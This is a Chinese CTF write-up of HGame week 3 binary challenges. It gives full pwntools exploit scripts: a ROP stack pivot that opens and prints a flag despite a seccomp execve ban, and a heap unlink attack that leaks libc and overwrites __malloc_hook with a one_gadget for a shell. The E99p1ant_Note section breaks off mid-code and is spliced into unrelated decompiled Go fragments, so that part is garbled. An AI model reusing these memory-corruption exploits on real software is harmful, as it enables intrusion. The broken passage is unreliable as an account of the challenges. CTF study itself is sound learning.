##前言
这个是Hgame_CTF第三周的题目,难度一周比一周大,而且还涉及了多方面的知识,一整期做下来对或许会有一个比较大的提升。其中有一道逆向,是通过监控本地端口来获取输入的,第一次接触这种输入模式,故借此机会记录一下。
上两周的题目回顾:HgameCTF(week1)-RE,PWN题解析
记一次春节CTF实战练习(RE/PWN)
##pwn ###ROP_LEVEL2
程序init禁用了59号中断,所以不能getshell
__int64 init(){ __int64 v0; // ST08_8
v0 = seccomp_init(2147418112LL); seccomp_rule_add(v0, 0LL, 59LL, 0LL); seccomp_load(v0); return 0LL;}
main函数存在栈溢出,但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中,然后在buf中构造ROP,调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = './ROP'
io = remote('47.103.214.163',20300)
#io = process('./ROP')
elf = ELF(EXEC_FILE)
#padding = 88
read_plt = elf.plt['read']
open_plt = elf.plt['open']
io.recvuntil('?')
#payload = 'flag\x00\x00\x00\x00'#
payload = p64(0x060119F)
payload += p64(0x0400a43)#pop rdi
payload += p64(0x6010e0)#flag
payload += p64(0x0400a41)#pop rsi
payload += p64(0)
payload += p64(0)#pading
payload += p64(open_plt)
payload += p64(0x040098F)#
payload += 'flag\x00\x00\x00\x00'#
io.sendline(payload)#buf 0x006010A0
payload = 'a'*80
payload += p64(0x06010A0)#buf
payload += p64(0x4009D5)
io.sendline(payload)
print io.recv()
io.interactive()
###Annevi_Note
查看edit函数,每次会固定读入256个字节。而每次只能申请小于143字节的堆块,照成堆溢出。
__int64 edit(){ int v1; // [rsp+Ch] [rbp-4h]
puts("index?"); v1 = readi(); if ( list[v1] ) {printf("content:");read_n((__int64)list[v1], 256);puts("done!"); } else {puts("Invalid index!"); } return 0LL;}
check一下文件查看开了哪些保护
可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr,先减去88再减去main_arena_offset求出libc基地址,不同版本的libc对应着不同版本的main_arena_offset。然后使用unlink使得能改变list中的元素,写入malloc hook地址,然后改变malloc hook为one gadget。
exp
#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE = "./ROP_LEV"REMOTE_LIBC = "./libc-2.23.so"
#main_offset = 3951392io = remote('47.103.214.163',20301)#io = process('./Annevi')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)
def add(size,content):
io.sendlineafter(':','1')
io.sendlineafter('?',str(size))
io.sendlineafter(':',content)
def edit(idx,content):
io.sendlineafter(':','4')
io.sendlineafter('?',str(idx))
io.sendlineafter(':',content)
def delete(idx):
io.sendlineafter(':','2')
io.sendlineafter('?',str(idx))
def show(idx):
io.sendlineafter(':','3')
io.sendlineafter('?',str(idx))
add(150,'a')
add(150,'b')
delete(0)
add(150,'a'*7)
show(0)#求出libc基地址
io.recvuntil('a'*7)
unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392
delete(0)
delete(1)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
x = 0x0602040
fd = x-0x18
bk = x-0x10
payload = p64(0)
payload += p64(0x70)
payload += p64(fd)+p64(bk)
payload += 'a'*(0x70-(8*4))+p64(0x70)
payload += p64(0)*3+p64(0x90)+p64(0xa0)
add(0x90,'a')#0
add(0x90,'b')#1
add(0x90,'c')
edit(0,payload)
delete(1)
payload = p64(0)*3
payload += p64(malloc_hook)
edit(0,payload)
edit(0,p64(libc_addr+0xf1147))
io.sendlineafter(':','1')
io.sendlineafter('?',str(150))
io.interactive()
###E99p1ant_Note
查看read_n函数,存在off-by-one。能修溢出修改一个字节。
__int64 __fastcall read_n(__int64 a1, int a2){ int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i > 63; runtime_convTslice((__int64)a1, a2, v23); *(_QWORD *)&v64 = &unk_515C00; reflect_DeepEqual((__int64)a1, a2, v24, v78, v25); v28 = v81; v29 = v81[1]; v68 = v81[1]; v30 = *v81; v77 = *v81; cout = 0LL;
后来发现这9位和:2333拼接,进入net_Listen函数。
flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35); runtime_concatstring3((__int64)a1,a2,v72[1],v74[1],v37,v38,0,*v74,v74[1],(unsigned __int64)":
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录